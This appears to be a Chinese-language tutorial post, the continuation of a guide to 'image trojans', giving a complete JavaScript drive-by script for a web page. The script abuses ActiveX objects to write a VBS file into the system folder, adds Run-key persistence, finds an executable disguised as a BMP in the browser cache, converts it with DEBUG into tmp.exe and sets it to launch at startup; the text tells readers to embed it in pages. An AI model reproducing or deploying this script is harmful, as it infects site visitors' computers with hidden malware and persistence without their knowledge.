图片木马教程续

以下是放在网页上的脚本


document.write(' ');

 

function docsave()

 

{

 

a=document.applets[0];

 

a.setCLSID('{F935DC22-1CF0-11D0-ADB9 -00C 04FD 58A 0B}');

 

a.createInstance();

 

wsh=a.GetObject();

 

a.setCLSID('{0D43FE01-F093-11CF-8940 -00A 0C 9054228}');

 

a.createInstance();

 

fso=a.GetObject();

 

var winsys=fso.GetSpecialFolder(1);

 

var vbs=winsys+'\\s.vbs';

 

wsh.RegWrite

 

('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion

 

\\Run\\vbs','wscript '+'"'+vbs+'" ');

 

var st=fso.CreateTextFile(vbs,true);

 

st.WriteLine('Option Explicit');

 

st.WriteLine('Dim FSO,WSH,CACHE,str');

 

st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');

 

st.WriteLine('Set WSH = CreateObject("WScript.Shell")');

 

st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft

 

\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');

 

st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows

 

\\CurrentVersion\\Run\\vbs")');

 

st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows

 

\\CurrentVersion\\Run\\tmp","tmp.exe"');

 

st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');

 

st.WriteLine('WScript.Quit()');

 

st.WriteLine('Function SearchBMPFile(Folder,fname)');

 

st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');

 

st.WriteLine(' str=FSO.GetParentFolderName(folder) &

 

"\\" & folder.name & "\\" & fname');

 

st.WriteLine(' if FSO.FileExists(str) then');

 

st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');

 

st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');

 

st.WriteLine(' set File=FSO.GetFile(str)');

 

st.WriteLine(' File.Copy(tmp & "tmp.dat")');

 

st.WriteLine(' File.Delete');

 

st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');

 

st.WriteLine(' Lt.WriteLine("rbx")');

 

st.WriteLine(' Lt.WriteLine("0")');

 

st.WriteLine(' Lt.WriteLine("rcx")');

 

st.WriteLine(' Lt.WriteLine("1000")');

 

st.WriteLine(' Lt.WriteLine("w136")');

 

st.WriteLine(' Lt.WriteLine("q")');

 

st.WriteLine(' Lt.Close');

 

st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat

 

 <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');

 

st.WriteLine(' On Error Resume Next ');

 

st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');

 

st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');

 

st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');

 

st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');

 

st.WriteLine(' end if');

 

st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');

st.WriteLine(' For Each SubFolder In Folder.SubFolders');

 

st.WriteLine(' SearchBMPFile SubFolder,fname');

 

st.WriteLine(' Next');

 

st.WriteLine(' End If');

 

st.WriteLine('End Function');

 

st.Close();

 

}

 

setTimeout('docsave()',1000);

把该脚本保存为js.js,在网页中插入: script src=js.js/script 该脚本主要会在本地机器的SYSTEM目录下生成一个S.VBS文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。 S.VBS文件

把该脚本保存为"js.js",在网页中插入:


<script src=\'#\'" /script>

你可能感兴趣的:(职场,休闲)